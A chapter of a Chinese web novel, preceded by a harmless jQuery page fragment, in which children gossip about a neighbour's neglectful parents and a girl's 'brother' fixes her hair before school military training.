$(''.inform'').remove(); $(''#content'').append('' 哼了：“投资嘛，用最低廉的价格来养小孩，将来回报可高……尧尧那么聪明，他们要是不养，多的是人想养呢。” “一个月小几百块。不用照顾，自己就能长大的小孩，多省心，”程巧抱着手臂，犀利点评，“上回路过黄乐乐她爸的店，碰巧看到尧尧爸妈，听他们说什么养孩子不需要费劲，苏尧五岁就会自己烧饭了，垫着个小板凳就会炒菜给他们吃……” 果然，人的本性就是八卦。 程阳本来还在犯嘀咕，生哥哥程翔拖拖拉拉的闷气。这下，注意力全聚焦在隔壁苏家父母的不靠谱上。 车内一片热火朝天。 说着说着，比较以后，顿时觉得自己爸妈天下第一好。 程建国不加入孩子们的议论，他开着车，把孩子们送到一中校门口。 熟悉的秃头教导主任，带着肩章，虎视眈眈地看着家长把孩子们送到学校。 程阳看了眼时间，嘿了声：“没迟到！” 再一瞥，校门口还有他们刚在讨论的主人公。 苏尧穿着夏季校服，站在树荫下，苦恼地皱眉。 她身旁站着‘钟和熹’，英俊冷脸大帅哥正伸手要摘苏尧的发饰，一旁还有个高一点的初一女生。 程阳飞快取了书包，凑近去看发生了什么。 周忱瓷：“我妈说，军训要把头发扎起来。”校门口一遇见，她看到好朋友，立刻上前提醒。 苏尧叹气。 她忘记初一军训的要求了——不能怪她。除非记忆犹新，发生了什么重大事件，否则，人总是会记住最近一次的活动。她记得大学军训的20天，记不住只有短短三天的初一军训。 于是，昨晚她梳好的，自然垂落肩头的分股编发必须得扎高一点。 高马尾或丸子头。 多余的发饰得摘掉。 好在，‘钟和熹’得心应手，‘他’迅速地摘下几个太显眼、不方便军训帽佩戴的发夹，又从手腕上褪下黑色发绳。 周忱瓷还是第一次近距离观察“苏尧的哥哥”，她记得上周五接送苏尧的不是他，但她还没来得及问苏尧究竟有几个哥哥，今天就遇到了‘钟和熹’。 英俊的成年人有一双极其动人的眼，眼睫毛在榕树下的光影中洇出辉煌色泽。他的表情极其冷淡严肃，舒展流畅的赤.裸小臂有着让人脸红心跳的浅青血管，在倾洒的清晨日光下，汩汩跳动，犹如汹涌不息的河流。 不到2块钱的发绳，总共两三条，安全地绕在他的左手脉搏上。 发绳两指处，是一块非常漂亮的表，瞧着很唬人——周忱瓷没见过太多世面，她只依稀记得爸爸出差回来时带了一块特别贵的表，珍惜得要命，平时都不舍得戴，只有出去谈生意充面子时才会仔细擦擦，穿上西装，打点发胶，喷点香水，把自己收掇得人模人样——绝不可能像这样，随手戴出门，还在同一只手上随随便便地戴几条廉价发绳！ 爸爸的表甚至没有苏尧哥哥手上的这块好看！ 周忱瓷直发愣。 她看着好朋友的哥哥将她的头发重新整理好——只是几下，就把松散的低辫子变成饱满圆润的丸子头。绝对是能戴上军训帽不会掉的完美发型！ 然后，苏尧慌里忙张地扭头看她：“是不是快要迟到了？”她看到不远处的程阳，邻居家的小儿子冲她嘿嘿一笑，一副没心没肺样，根本没有时间观念，还乐着打招呼，“苏尧！” 学校传来预备上课的打铃声。 “要迟到了！” 程阳被提醒，哀嚎一声，他急急忙忙地奔向校门，一边跑一边抱怨：“诶呦我看你哥哥给你扎头发太入神了——” 苏尧啼笑皆非，抓着周忱瓷的手一块往校门口冲，只来得及应他：“你快点跑，6班班主任可凶呢！” 程阳嘤咛两声。 周忱瓷在一片呼呼风声中，忍不住地回身望了眼。 苏尧的哥哥。 英俊成熟、非常可靠的大人，他为苏尧整理好头发，一句话也没说，沉默地目送她们离开的背影。 阳光下，高大英俊的成年人眼眸深邃明亮，他的手臂自然地垂在身侧，那一枚精致的手表和剩下的便宜发绳，随着人体放松的姿态，被地球重力影响，顺势垂落，挨在一起。 重重叠叠，有一瞬间，周忱瓷觉得，像是爱的具象化。